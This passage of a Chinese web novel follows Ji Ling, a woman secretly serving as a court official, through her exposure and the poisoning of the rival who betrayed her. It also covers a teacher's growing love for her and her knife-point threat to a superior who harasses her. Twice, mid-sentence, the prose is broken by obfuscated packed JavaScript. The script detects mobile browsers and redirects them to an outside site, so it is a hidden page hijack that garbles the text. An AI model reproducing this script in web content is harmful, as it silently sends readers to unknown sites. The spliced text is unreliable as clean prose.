林微也不多说什么,还何必多说呢,她站在宫门口等候时,就见那些退席的官员全团簇在一起,都在议论季执庸是个女人这件事。她听到时腿软得六神无主,盯着宫门不敢移开眼,就怕季泠是被官兵围着出来,甚至是,被抬出来的。 好在,她只是醉了,才刚上车,立刻就昏睡过去。 “林微,什么时辰了...” 季泠仍有些眩晕,她高估自己了。起初几杯入喉时,她只是脖子胀热,脑袋飘忽,但是还能思考回话。 昨日,她记得自己与公主道了别,之后眼前也开始飘忽起来了,好像有人一直在她旁边说话,最后是腾云驾雾般的天旋地转,她什么也不记得了。 “已经午时一刻了。” “啊?你们怎么都不喊我!这下迟了。衣裳呢,上值的衣裳在哪儿?”季泠跳下床,差点又被脚踏绊了一下。 “执庸,今天是冬至假,你忘了?” 季泠一拍脑袋,真是喝酒误事,她哪里还记得这些。 用过白芨送进来的清粥,季泠立刻开始回忆昨日的修罗场。 她一直都很小心地隐藏,连院子里的四个丫头都不知道她的真实身份,整个浮云堂中,除了林微,只有白芨白蔹知道她是个女子。 问题应当不出在她的身边。 若要说远些,说到建州,也不太可能。她离开建州时才十六岁,模样早已大变,只怕是她父亲母亲站在她跟前,也该犹豫一下的。 那只能是京城了…… 京城之内,除了公主府、齐家,也就徐家几人知晓。 究竟是哪里出了差错? 是谁暴露出去的? 为什么那几个她完全不认识的官员突然出言指认她? 指认她又能得到什么好处呢? 她在朝中两年多,除了公主,背后又没什么靠山。公主府里出来的属臣不止她一人,她又只是个六品小官,按理来说是碍不着谁的路。 季泠百思不得其解。 既然如此,她只能一个个排查了。 公主府内,她们遵守所规,一旦离开东西三所,必然要隐匿真实容貌身份。三所之中,各个都是忠于公主的幕僚谋士,连早她一年出府的何咨宁都未曾暴露,总不至于她就是那个惊天倒霉蛋吧? 齐府就更不可能了,她一向只闷在钟鼓园中,除了族学与武场,她几乎未曾踏足齐家其他地方,见过她的侍女少出后宅之门,更遑论寻上什么官员串通一气了。 那么,就只剩徐行了。 她的身份,对他而言,可是一个极佳的把柄,他应当不会如此草率,否则,日后他想用她,还能拿什么威胁她呢? 是不是他身边的人不小心透露出去了?她进出徐家那么多回,还因伤被迫在徐家滞留了两日,暴露的风险实在太大了。 更何况,徐行身边之人,对她也并非友善。 上回那个阅云,不就偷偷抱怨她用了他们的制弓良材吗? 没准就是他身边之人随意一说,就被有心之人听去了。 季泠垂眸沉思,打定主意,换了身不显眼的衣裳,准备摸上徐家,仔细审一审这位好先生。 徐宅角门之内,季泠等候着前来接待的人。 “季大人。” 季泠闻声转身,来人是阅云。 昔日在建州的三个侍从,她都已熟识,只有阅云,她几乎陌生。 季泠点点头,跟在他身后。 阅云不苟言笑,却也注意到季泠打量的眼神。 直到他转眼对上她的眼睛,季泠才终于出声。 “阅云是吧?” “是,季大人有何吩咐。” “当年建州,你未与你家少爷同行?” “少爷派属下留于京中。” “噢?这是为何?” 阅云微微皱眉,侧眼瞥了她一眼,季泠视而不见。他又想到自家少爷的嘱咐,只好开口道:“京中风云变幻,属下应替少爷驻守于京。” 季泠了然点头,看来,阅云才是徐行身边负责情报的人。难怪平日她少见阅云。 “昨日冬至,你可有与览风他们去吃酒过节?” 阅云一顿,季泠这是在试探他? “少爷禁令,不许手下之人吃酒误事。” 季泠注视着他的侧脸,见他依旧面不改色,微笑点头。 “少爷,季大人到了。” 季泠背手走进行止斋正堂,徐行已然端坐以待。 “你昨日那样折腾一番,今日还能偷摸过来?” 季泠熟门熟路地在首位坐下,煞有介事地理了理衣袍,抬眼看向上座之人。 这位光风霁月的先生,似乎从来都不慌不忙,从容镇定,也不知道是好命还是能算,他竟然从来没吃过什么苦头,就这样顺风顺水地爬上侍郎之位,她心里还真是有点嫉妒。 “差点死了一遭,自然不敢再睡太沉了,总该赶紧爬起来,看看是谁要取我的命才是。”她没好气地应回去。 想来是休息好了,已经能够随意地发脾气了。 恢复能力倒是很强。 “我知道你想问什么,若你不来,我也是要去找你的。”徐行说着,将早已放在八仙桌上的状纸递到她面前。 “什么?” 季泠接过,匆匆略过,惊讶地看着徐行。 白纸黑字,赫然列着昨日那几人状告她的原因和证词,她不得不惊讶徐行的速度。 “不过一日而已,你手脚这么快?” “不是什么高明招数,看起来是病急乱投医了,都不必审,只肖一问便知。” 季泠出神地盯着末尾的三个大字——沈赟偕…… 两年前杀她不成,如今卷土重来,竟然藏了这样一个大招对付她。 可这样一来,沈赟偕对付的可不仅是她了。 若是昨日,皇上未能以不容置疑的天子之威压下此事,为她正名,那么,下一步,朝臣要参的,就是公主了。 沈赟偕怎么敢的! 好在公主早有准备,看来当日,公主在为她求来任职圣旨之时,便已将她的一切与自己的谋划向皇上和盘托出了。 这样大的事,若是公主未曾与陛下预先报备,那昨日,她真的必死无疑了,连带公主也会被卷入欺君包庇之罪中。 看来,陛下心中还是为公主留下了几分真情。 “沈赟偕在上月才回的京城。今日拿到证词后,我就派人送去了公主府,现下公主应该是知道了。你仔细留意着吧。” 季泠点点头,然后才意识到不对劲,怪异地看着徐行:“先生,你怎么这么帮我?这件事对你可没有什么好处的。” 连夜调查,那想必是用了什么难以摆在明面上的法子。这可不像徐行会做的事情。 “知道你身份的人就那几个,我总要赶紧查清,洗脱我的嫌疑吧。不然你今日作何打上门来?” 徐行这话一堵,倒让季泠落于下风了,她张了张嘴,想了半天也想不出什么话应他,昨日宴席论辩已经把她毕生的功力都耗尽了,最后只好干瞪着徐行。 见气氛有些僵持,徐行又想了个理由找补:“况且你是我的学生,我总不好让你白白送死去。你之前也帮了我多次,算是我的谢礼吧。” 这还算是合理。 季泠眼睛一转,片刻间又多了新主意。徐行都将话递出来了,她若是不借机索要些东西,岂不可惜? “既如此,先生不妨再借我几个人手。” 季泠倒是毫不客气。徐行笑了,她下定决心了。 “迎星,抱月。”两人抱拳行礼,季泠满眼欣赏。 “他们两人你也熟悉,有任何事尽管吩咐即可。” 季泠点头,投向徐行的谢意随着回头垂眸而冻结,再次抬眼之时,只余下昔日怜悯的灰烬。 两年前她心软放过,未曾想过给自己埋下这么大的一个祸患,这一次,她不会再犹豫了。 徐行的笑意也随她瞬间的变化而褪去。 她终于要直面熟人的背叛了。 两年前,她的眼中仍有挣扎,可如今…… 她真能做到毫不在意吗? 公主之恩与同舟之谊,她又要如何权衡舍弃呢? 在抛弃曾经直率真诚的灵魂,换得在静水流深的官场之中存活的通关文牒时,她的庆幸能不能多过痛苦? 徐行克制着泛上面庞的愁绪,只注视着那晴山色的背影在迎星与抱月之间若隐若现。 几日后,一朝东窗事发、被公主赶出府的沈赟偕在深巷中与人打斗,最后不敌多人之手落败。 等她蒙眼布条被一只手摘下时,就看见她此生最痛恨之人的脸。 “季执庸!” 沈赟偕双手被反绑,眼中充满恨意。 若不是她被捆住,无法动弹,必定要立刻拔出刀来,狠狠地扎进季泠的心口。 季泠看着沈赟偕,想不通自己到底哪里得罪了她。 她只叹,沈赟偕实在出色,即使如今沦为囚徒,也不掩傲气。 沈赟偕所着的这身玄色窄袖曳撒,季泠仍然记得。那夜,她此生亲手杀死的第一个人,他的血就溅在这件曳撒之上。 无论过去多少年,她都不会忘记那一夜。 她与沈赟偕受命,去通往北直隶的乡道上截住一封至关重要的密信。 沈赟偕见到是她同行时,略有不满,只将剑与暗器全部甩给她,留下一句话:“共事一主而已,若逢不测,各自逃命。” 季泠震惊地看着她,恐惧于她的冷淡与无情。 出发之时,她看着如血残阳铺满天际,还在安慰自己,没事的,只是如同以往的任务一样,只是截取一封密信而已,这对她们而言,已经不算难事了。 可她低估此次任务的凶险,也终于明白公主为何要派沈赟偕这样的得力干将与她一起亲涉险境。 蜿蜒乡道之上,除了负责送信的一队人马,还有隐匿在四周乌云般密林之中的众多杀手。 密信藏在队伍中间那人的怀中,沈赟偕一箭便将他射中,长鞭一甩,将密信截获。季泠在一侧叹为观止,终于明白,为什么沈赟偕能够独得公主宠爱。 在解决那队人马之后,沈赟偕看着一旁目瞪口呆的季泠,哂笑道:“愣着干什么,走啊。” 季泠还未从适才的打斗中缓过来,只傻傻地跟在她身后。 这就结束了?可她还什么都没干呢。 沈赟偕居然一人可抵一队,实在强悍无敌。 可螳螂捕蝉,黄雀在后。隐匿在密林中意图坐收渔翁之力的杀手鱼贯而出,横在道前。 “将密信交出来,饶你二人不死。” 季泠放眼看去,暗夜阴翳之下,危机四伏。月光穿透叶片,洒落满地碎银。她观察着地面的影子,来着约有二十多人。 沈赟偕的手已然握紧长剑,一声不屑惊得蝙蝠飞振。 “休想。” 顷刻间,大步飞身向前,沈赟偕的剑已然饮下数人之血。杀手见此,再不欲与之斡旋,一拥而上。 密信在沈赟偕怀中,季泠便似乎置身事外了。只是沈赟偕明显寡不敌众,季泠持弩而上,射伤了想要在背后偷袭沈赟偕的几人。 几人中箭倒地的瞬间,卷来一阵黑风,黑衣人们分出一纵人手,要来解决她这个碍事之徒。 季泠只能拔剑御敌,可她从未杀过人,不敢下死手,只能挥剑劈去,却招招避开要害。 此前她所学习的,全是防御之术,即使模拟实战,与人擂台对战,也不过点到即止,从不过分。 那是她第一次用手中利剑伤人,已然叫她胆战心惊,几乎就要懦弱地逃跑退却了。 结果就是,在她颤抖着手刺入近身者的腹部时,那人未被一集毙命,转而用手中短刀划破她的手臂。 沈赟偕听见她的痛吟,回头一瞥,剑花闪烁之间,血染层林,她大声呵斥:“不要心软!你不杀他,他就杀你!” 语毕,解决了自己身前的杀手之后,沈赟偕的掌心在她背上一震,她不由自主地往前一推。 季泠感受到前所未有的恐惧,伴随着血肉撕裂的阻滞,在她手中召开了良心审判的地狱。 “季执庸,干我们这行的,最忌讳心软。”沈赟偕蕴着无穷厚力的嗓音贯入耳中,季泠咬紧牙关,将剑往他的胸口捅入,随后似是被烛油烫伤般,迅速拔剑。 眼前的杀手当即倒地。 那是她这辈子杀的第一个人。 血迹溅在她的脸侧,溅在沈赟偕的玄色窄袖曳撒上,为她开启一道枯骨堆叠的辉煌生门。 可她来不及为她迈出的第一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446322|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怅然落泪,汹涌而来的帮手就将她们团团包围。 于是,在毕生绝无仅有的求生欲望的驱使下,她的剑愈来愈快,她手中的血愈来愈多,她双眼愈来愈红,直到最后,她看着满地的尸体,连连后退,终于松了一口气。 在她们将要解决最后一波杀手时,先前倒地之人在沉夜之中睁眼,发出此生最后一支暗箭,正中季泠小腿。 季泠吃痛跪下,几乎将要被贯穿腿骨的疼痛吞没窒息。 她吃力地继续提剑,只能在方寸之地抵抗敌手,既无法逃脱,也不能进攻。 而战场的另一方,沈赟偕正在奋力杀敌,身边堆起累累尸身,快要将她的身影掩埋。 季泠再也站不住了,咬牙退到一棵树后,借树干永不倾倒的根深蒂固,支撑她最后的生机。 直到沈赟偕向她跑来,从身后一剑贯穿朝她挥刀的杀手,将她背起狂奔。 沈赟偕一边咒骂她,一边皱眉躲避追捕,天亮之前,她们终于找到栖息之所。 沈赟偕大可以将她抛下一走了之,可她没有。她没有背弃同盟,没有独自领赏,她救下了她。 所以季泠相信,她不是一个坏人。 可两次暗害,终于叫她也明白了,她也不是一个好人。 是非之间的灰度界限,该由她自己去断定。 可代价是什么呢? 她要亲自点一把火,把她原打算毕生践行的、融于她骨血之中的、在她二十年过往中纵情翻飞的仁德圣言,通通烧得一干二净。 接下来,提笔从她走过的血路中蘸取朱墨,撰写她主宰的真理。 从浸透血腥的险象环生中脱离,坐在中间扶手椅上的季泠仍是百思不得其解。 “为什么?这么做,对你有什么好处?” “对你不利,就是对我最大的好处。” 季泠皱眉道:“你是个聪明人,为什么做出这样自寻死路的事情?” 沈赟偕冷笑,即使狼狈,也掩盖不住她眼唇之间的芳华。 “自寻死路?我早就没有活路了!凭什么!自从你季执庸来了之后,进入文渊楼商议大事的就不再是我了!最好的一切,都是你获得!我辛苦卖命了十来年,皇后娘娘对我青眼有加,亲自指派我入公主府,辅佐公主成就大业。” “公主府里,所有的考核我都是三甲,所有的任务我都不辱使命,可你只来了两年,就夺走了我的一切!你知不知道,我有多恨你!三年前,孙立言之案,本来是我去负责的,阴差阳错之下,竟成了你的功绩!” “好在,你百密一疏,将孙立言给出的证据透露给了徐行。你以为你可以瞒天过海吗?” 季泠紧握扶手,这件事情,她竟一无所知。 当时,她是想借徐行之手,可以顺理成章地除去张瑛的枝叶,也算报答他未在流音阁中暴露她的身份。 可是这件事,她没有和公主商量过。 “我将此事告知公主,结果呢!公主竟然置若罔闻,反而论罪将我贬去西南!当年临走之时,我就不应该随意找一个人来对付你,而应该亲自,将匕首插进你的胸口。” 她终于能将积压多年的恨意与不得志全部说出来,这股滔天之怒已经将她的理智全部吞噬,使她面目狰狞。 “两年多了,我终于从西南挣扎出来,回了京城。荣归当月,就让我看见你季大人风光无限地在礼贤殿与朝臣交谈!” “你说,那些人要是知道,自己天天拱手行礼,尊敬以待的户部主事,竟然是个女人,会怎么样?既然你躲躲藏藏,我就非要把你的伪装,全部扯下。” 季泠叹了一口气:“相煎何急?公主对我们说过无数次,女子破除桎梏,切忌同室操戈。你也是女子。” “是啊,我也是女子,可是这样好的机会,公主却留给了你这个外来人。” 话已至此,可季泠还想再劝导她一回:“沈赟偕,你总问凭什么,可你怎么不想想,我论才论貌皆不如你,为什么现在我们站在截然不同的位置?你该问的不是凭什么,而是为什么才对。” 可沈赟偕已然听不进她的话,只觉得她是小人得志:“呵,我沈赟偕要么就不做,要做就必须争第一。你一来,就顶替了我的位置。自那时起,我们就已经是水火不容。你不必在我这儿说什么大道理。我时运不济,如今落入你的手中,要杀要剐,随你处置。” 季泠见她软硬不吃,也懒得与她多费口舌。 “两年之前,你雇凶杀人,我放过你一回。昔日,你救我一命,来去两消了。” 斩草不除根,她季泠有几条命够沈赟偕害的?她如果放过沈赟偕,沈赟偕就会记得她的好,感恩她的善良,不再对她出手?这简直是天方夜谭。 所以这一次,她也不会仁慈。 她还要谢谢沈赟偕,用自己的命,给了她立威的机会。 “执庸,你会原谅她吗?” 看在过去的情谊上。 “你说呢?” 不会。 季泠走了。 “林微,不必多说,如果今天换做是我,我也会做同样的决定。成王败寇,我认。” 她敢做就敢当,最差不过一死而已,她又岂是愿意苟延残喘的人。 林微看着沈赟偕,终于无奈叹息。 她回到浮云堂,季泠站在那棵西府海棠树下,欣赏落英缤纷。 林微站在她身后,静静地看着她。 这是季泠第一次对熟人下手,她怕季泠日后会后悔。 果断之后的煎熬是东南迟迟不去的梅雨天气,所有珍藏之物都于无声处受潮变霉,可她无力阻止,等待她的,是再一次折磨的周而复始。 季泠在海棠树下站了一日。 翌日,关在暗室里的沈赟偕收到了一个瓷瓶。 才一打开,她就闻到了熟悉的味道。 这是她研制出来的玉芽露,毒性极强,一滴毙命,让人不必挣扎。 她研制出来后,受到了药师的夸奖,将此秘方教给东三所所有谋士。 那时候,她是多么风头无两啊,最漂亮的姑娘,最英勇的战士,最忠心的臣属,最缜密的细作,这一切都曾经是她的桂冠,如今就要随她埋入黄土,风吹而散了。 沈赟偕闭上眼,将她的成功、骄傲和忿恨一饮而尽。 “季执庸,此生遇见你,是我沈赟偕最大的不幸。” 61. 行止斋闻风吟心动 “少爷,林大人在书斋候您。” 徐行点头,走进行止斋时,林清许正坐在他书斋的罗汉床上,似笑非笑地看着他。 徐行眼皮一跳,总感觉有哪里不对劲,下一刻,他便明白他的不安从何而来。 林清许将矮几上的书拿起来,底下赫然是一只松花色荷包。 “徐润旻!这是什么?” 徐行一见,立刻大步上前要将其夺下,却被林清许闪过。 林清许摸着这只荷包,布料并不算好,不像是徐行的东西。上头的绣花也是一般,还不是他常见的绣样。 “这是什么花?” 徐行一把抢过,拍去林清许留下的痕迹,淡然收入怀中。 “茉莉花。” “啧啧啧,徐润旻啊徐润旻,是我看错你了。老实交代,这是哪个姑娘的东西?你什么时候会干这样的事情了?” “替人保管而已。” 徐行走到书案前坐下,自顾自地翻开书,不欲搭理他。 “少来,保管而已?且不说你平日身边没什么姑娘,你这荷包来的蹊跷,再说一步,徐润旻,你的性子,会这么好心,替人如此细致地保管东西?“ 徐行越过书,抬眼看向他,等着他继续唱大戏。 林清许揶揄道:“保管就罢了,也该是好好收起来,寻个日子还回去的。怎得放在矮几上了?难不成,你日日都在看这个荷包?” 徐行倒没半分被抓包的尴尬,只收回眼神继续看书。 “林大人既已断案,本官还何须反驳。” 还不等林清许作嚷,览风走了进来。 “少爷,迎星抱月回来了。” 徐行点点头,正欲挥退他,林清许却看见,览风欲言又止。 “怎么了?” 览风为难地看着林清许,直到徐行抬眼朝他看来,微微皱眉。 “何事?” “季大人,也来了。” “季大人?季执庸?她来做什么?”林清许正作疑,却见徐行抬步往外走去。 只给他留下一句话:“在书斋侯我。” 季泠站在行止斋院中,等着徐行,却在看见那颗香樟树时,忽然怔住。 即使听见身后的脚步声,她也没有转身。 “你怎么突然过来了?”徐行站在她身后,顺着她的视线看去,不过是一颗香樟树而已。 季泠却痴痴而望,在张口的瞬间,万千言语变成突发的大水,将她从头漫灌。 她张口,却发不出声音,极力将酸楚咽下,却反上更多更多,绵延不绝。 在冗长的杏子色的午后暖辉中,徐行察觉到她的异样。他走近一步,站在她身侧,与她一起看着毫无特殊之处的香樟树。 季泠微微偏头,他的影子将她覆盖住了。 “来告诉先生一句,始作俑者,我已经解决了。以及,当日,忘记谢过先生,替我审出真凶。”她极力放松,甚至在说话间隙,还偷偷吸气,为自己增添说完这句话的力气。 可她吸气时的痉挛出卖了她。 “她既动了杀心,便不值得你伤心。” 可季泠摇摇头,呼出的寒气漂泊成惨淡愁云。 她沉默良久,脖子已然酸胀极了,可还是不愿低下头。不知哪里来的鸟儿,竟也不惧寒冷,扑棱棱地停留在树枝上,将雪抖落一些下来。 “先生,你知道,最糟糕的,是什么吗?” 徐行不言,只认真地凝视她,等待她难得的倾诉。 “是曾经,我觉得世人皆是良善之辈,都是纯粹无暇。哪怕是行凶作恶,兴许他们各有苦衷,只不过我们立场不同。” “可如今,我再不这样想了。被血染过的眼睛,遍历人心,只觉得全是算计,全是意图,于是,我不得不总想着,我要如何防备,如何洞悉。” 她看见,雪块把香樟树盖住,新叶不知道什么时候再长出。 “难过,就哭吧,放心,没人看见。” 季泠竭力扬起的嘴角终究因他这样轻飘飘的一句话而缴械。她仰着头,泪水在她快要冻僵的脸上滑落,流进她耳朵中。 世间万物都化成江河激荡的声音,放大她不知所措的痛苦。 她的肩上突然停留下一分无懈可击的力量,她透过冬日将要结晶的眼泪,看见徐行的手落在她的肩上,他的掌心抵在她的肩头,恰如其分地裹住她的惶惑。 她支撑已久的脖颈终于不堪重负地垂落,双手捂住冻红的脸,再无法压抑凄怆,放声痛哭起来。 徐行叹着,指尖轻拍在她的肩骨上。 那双手,闯入无人问津的道德泥沼,将她抓住,引诱她,去相信他,他的指引中就包含绝不作假又经久不衰的安全与平静。 顺着那股力道,季泠终于承受不住,在泪水冲垮理智时,僭越身份之别,借他的肩膀暂时抵放她的额头。 是飞翔数月的南迁之鸟,终于在寒冷到来之时找到立身不亡的支点。 “先生,我真的不知道,该怎么办……” 她的哽咽幻化的热气扑在他的心口,他凉下的身躯又再次升温。 “人生各憔悴,仕路复间关。航青,你的良善,不该成为刺伤自己的利刃。” “可我的良善早已被我挥霍殆尽。我杀死了她。” “从未消失,你的眼泪,正是你良善不愿妥协的挣扎。换个方向,用它去刺向弱者背后的恶鬼。” “她作恶的业报,并非是你的罪过。这把剑,不要握得太紧,航青,放过自己。” 在白日自造的黑暗中,季泠躲了起来,借那在任何激湍中都□□坚固的肩膀,重组自己失序的世界。 季泠猛吸一口气,背后难以自控地痉挛一下,手从脸上缓缓落下,泪水被胡乱抹得满脸都是,将要结成一张薄霜。 她抬头,看着她的先生,流露出在无际海面上漂流已久的迷倦。 “航青,以终为始,方不迷途。”徐行朝她微笑,抬手替她拭去泪痕。 他的指尖还留有暖炭的余温。 她的肩又一重,他的手复落于她肩上,这一次,他紧了紧力道。 “天冷了,出门时,也该叫底下人替你披件氅衣。年节到了,户部事忙,你该回去了。” 季泠深看着他,低头吸了吸鼻子,后退了一步。 冬风从两人之间穿过,带走徐行肩头残留的泪意。 是啊,年节到了,户部事忙,她该终日伏案,才不枉费她攀刀山,蹚血海,坐在如今的位置上。 她要借夙夜惕厉的辛劳之泉,洗去她满身罗刹之污。 今日此遭,不算白来。 徐行立于行止斋外,看着季泠上了徐家马车,又由才回来的抱月将她送回去。 肩上被猛得一拍,徐行回了神,转头看去。 林清许却未接上他的眼神,只替他继续目送马车离去,而后带笑作问:“荷包之主?” 徐行拂落他的手,背手往院内走去。“多管闲事。” 林清许被他的冷淡哽住,终究没忍住,像是看破滚滚红尘的观音一般,出言点了一句:“润旻,你看着她的眼神,并不清白。” 徐行顿时止步,惊异一闪而过,反问他:“你怎么知道,什么样的眼神才算不清白?” 林清许噎了一下,想起自己日思夜想、求而不得的人,茫然地迈过门坎,摸着椅子坐下。 “清许,你现在的眼神,也不清白。” 林清许被徐行将了一军,自认倒霉地苦笑:“我知道...” 又抬头看着他:“所以我才点你,若是喜欢,就不要错过。管她家世身份,管她容貌才情,这些都不重要。只有你心中念出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446323|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那个名字,最重要。” 是吗? …… 航青。 徐行难得糊涂:“什么样才算喜欢?” 林清许碰了碰徐行手中的茶杯:“就你现在这样。”随后一饮而尽,将杯子重重敲在桌上。 “润旻,我提醒你。季执庸背后势力不一般。先前是公主府,之后又出了齐家。其中牵扯多深,没人知道。若她是个男人,身边人送上门的女人还可能不要。可她现在是个女人了,朝中的豺狼虎豹蠢蠢欲动,迟早会把她给吃了的。” 这是女子天生的弱势,不是她们自认的,是世道强加的,无论如何挣扎,都难以逃脱。徐行更该看明白。 林清许走后,览风与阅云侯在堂中,煎熬着旷日持久的沉默,偷偷抬眼看向他们的少爷,却被抓个正着。 徐行思量着自己的异样,却毫无头绪。 若是公事,再如何难,他总能想到一个合适的应对之策,哪怕是下策也无妨的,他自信有转圜的能力。 可这样的事情,他既没有经验,也无参考可鉴。若只是随心走,似乎又过分轻率了。 “览风,阅云。”徐行准备问问他人意见,博采众长总是没错。 “少爷有何吩咐?” 徐行抵案而立,踌躇片刻,还是问出了口:“你们觉得,我与季大人,关系如何?” 览风看了看阅云,阅云一脸苦大仇深的模样,览风只好自行开口:“少爷,您对季大人,似乎总有些特殊。” “总有?难道人人都能看得出来?” “倒也不是,公务之中,您仍有分寸。只是,以您的身份与性子,通常不会亲自关注哪位官员那么久。” 对啊……他怎么忘了他的身份呢? “我毕竟是她先生,关注一些,想也正常。” 阅云却出了嘴:“您不过暂代教职,才教了季大人半年,怎算正式先生呢?” 览风道:“钟姑娘与何姑娘也是您的学生,可您待季大人,与待她们,并不一样。” 如此一比较,徐行总算有了实感。 “是了。”是全然不同的。他怎么如此愚钝? 是他一直用莫须有的身份为自己日久而生的心动开脱。 阅云憋了半晌,终于还是把藏在心里的话一吐为快:“可依属下看,季大人并不完全信任您。” 阅云一言,徐行却一扫愁绪,突然一笑,喃喃道:“对,就是不信任才对。若是十足的信任,那才会出大问题呢。” 不信任,却再三靠近他,这足以说明什么了。 徐行再度走到那颗香樟树下,抬头看去。仍是白团团的雪块,黑黢黢的树干。 抬手捂上心口,那侧的泪已然风干,未能留下半点痕迹,而紧贴的荷包仍在其中,妥善安放着。 究竟是什么时候开始的? 从什么时候开始,他的算计与利用之中掺入了真情? 这份师长对学生的关怀,上官对下官的欣赏,又是因为什么,渐生了几分难以言说的情愫? 什么时候开始,他忍不住刻意地注意季泠的名字; 忍不住在人群中张望季泠的身影; 忍不住猜想季泠在做什么; 忍不住在每日经过石竹巷时,让车夫放慢速度,他又装作不在意地撩开侧帷,看看会不会有当日的意外之喜; 忍不住担心她的衣食与心情; 忍不住制造任何公事与私事的交集; 忍不住在她遇到困境时施以援手,哪怕与自己一贯的处事作风相悖; 忍不住诱导她一次又一次偷偷地喊自己“先生”,再不经意般地看她暗怒却假装恭敬的模样。 徐行啊徐行,你何时来得这么多的忍不住,你从前是最会忍耐的人。 终究是逃不过,情不自禁。 62. 公权不可擅作私器 徐行这边业火未消,季泠那儿却是心如止水。 正逢年关,湖广秋粮在陆续起送了,在明年二月,就该清点得当。 可账簿经由度支科后,却越过了她,直接送到闫有德手中。 若非她留了个心眼,度支科中有她的人,暗中将此事透露给她,她怕是等到秋粮结束了都见不到账册。 闫有德这斯,竟然暗中截胡,实在该死! 季泠看着黄历,后日就要过年了,不能再拖了。 “季大人,闫大人说,让您亲自去和他说清楚...” 又是这样!这个闫有德总是在要紧的公事上膈应她。 回话之人小心翼翼地抬眼,就见这位季大人眼如利刃,面如寒霜,叫人不敢怠慢。 季泠听完下头人的传话,旋即拍案起身,往闫有德处走去。 “闫大人,下官来了,现在您可以将我要的东西给我了吧?” 季泠站在闫有德的公案前,四里无人,她隐约觉得哪里不对劲。 闫有德却不紧不慢:“不急,本官还没看完呢,哪里轮得到你?” “闫大人,您是耍我开心吗?账册到您这儿过了多久?就算是蚂蚁都该看完了吧?若您人手不便,下官大可以亲自来搬。” 闫有德却似乎没听见她的话,将案前的账册拎起,在她眼前甩过一道,季泠伸手还未碰到,又被他迅速收回,压在镇纸之下。 而后,闫有德又自顾自地站起来,走到她面前。 “从前本官怎么没发现,你还有如此姿色?”闫有德眯起眼,上下打量着季泠,背着手慢慢靠近她,一双豆眼在她身上四处巡游着。 季泠还来不及发火,却猝不及防地被那只手摸了一道。 “嘶,还挺嫩。” 季泠顿时恶寒,立即闪退几步,用手肘大力顶开,冷眼瞪着他。 “拿开你的脏手。” 闫有德却意犹未尽般,摩挲着指尖留下的柔嫩,甚至于得寸进尺,闭眼细嗅芬芳,似已沉醉其中。 “怎么?你只是个女人,还敢像从前一样,对着本官大呼小叫?” 闫有德居高临下,季泠左右张望,孤立无援。 闫有德自然知道这时候没人会过来,更加放肆地伸出手。 “季执庸,你若是个男人,倒也罢了,本官还只能在公务上为难你几分。可你偏偏是个女人,你说说,多有趣啊,你还能怎么样反抗呢?” “你就不怕我说出去?” “说出去?你不过是我的下属,任谁都会觉得,是你想要攀上我,委身于我,得逞不了后倒打一耙。你若不怕失去名声,大胆去宣扬,本官有何可惧?” 闫有德双手一摊,毫不在意。 季泠强忍不适与恨意,滔天怒火只在心中翻腾,双眼之中只留点点火光,明灭难探。 她右手微不可察地一抖,一股冰凉顺势贴在手心。季泠忽而轻笑一声,往前一步,与闫有德近在咫尺。 “噢?是吗?” 下一瞬,手中的匕首脱了鞘,季泠的左手一把抓住闫有德的衣领,虽然低他几厘,却毫无惧色,以强力将闫有德逼的节节后退,最后困于一处立柱之上。 屋外寒冬凛冽,屋内的炭火跳得猛烈。 冰冷的匕首抵在闫有德的脖子上,季泠大笑几声,匕首往里用了几分力,死死咬牙,将控制得当的怒言从牙缝中逼出来:“闫大人,您是不是忘记了,我背后之人,究竟是谁?嗯?” 闫有德没料到,季泠的胆子和力气都这么大,外强中干之徒,在命悬一线之际,自然两股战战,魂不守舍。 但他仍然不愿让季泠这个女人随意拿捏他:“你敢!” 季泠无所谓地撇撇嘴:“呵,我有何不敢?您应该知道,我季执庸,不是逆来顺受的人。一向是宁为玉碎,不为瓦全。您大可以试试。” 闫有德感受到匕首在他的皮肉中越嵌越深,他似乎闻到血腥味,来自于他自己。 闫有德不得不求饶:“好好好,今日算我失智。你就当我吃酒昏了头。” 季泠不愿轻饶过他:“自然是您昏了头。只是我要给您一个忠告,户部不是您一手遮天的,我爬的速度可比您快。从今往后,不要在公务上给我动什么手脚,如此,我们还能井水不犯河水。若是再出上回那样的岔子,您就好自为之吧。” 季泠松手之际,用力将他一推,闫有德从立柱边滑了下去,跌倒在地。 季泠半蹲下来,欣赏般歪头摆弄着匕首,刀刃贴在闫有德脸上,拍了拍,寒光吓得闫有德一激灵。 “再有一次,您就看看,我会不会找一个人,半夜潜入闫家,让我们闫大人,断,子,绝,孙。” 说完后,她昂起头站起身,利落地将匕首收鞘,拍了拍身上沾上的脏污之气,大步离开。 “季执庸!” 等季泠完全离开,闫有德才忙乱地爬了起来,心中燃起一阵歹意,恶狠狠地低吼着。 季泠疾步回到自己公案之前,骤寒又骤热的冲撞,将她蒸得失了聪也失了明,伸手胡乱翻着案上的公文,一个字也看不进去。 终于熬到下值的时辰,身边的人都陆续离开,季泠才慢慢站了起来,站在堂前。 她在等着天再黑一些,黑到看不见除了轮廓之外的任何细节。 夜色中,季泠带上风帽,裹紧大氅,朝着石竹巷越走越快。 冷风吹来,季泠只觉眼中大寒而骤雨,泪水与雪花交错,更显晶莹剔透。 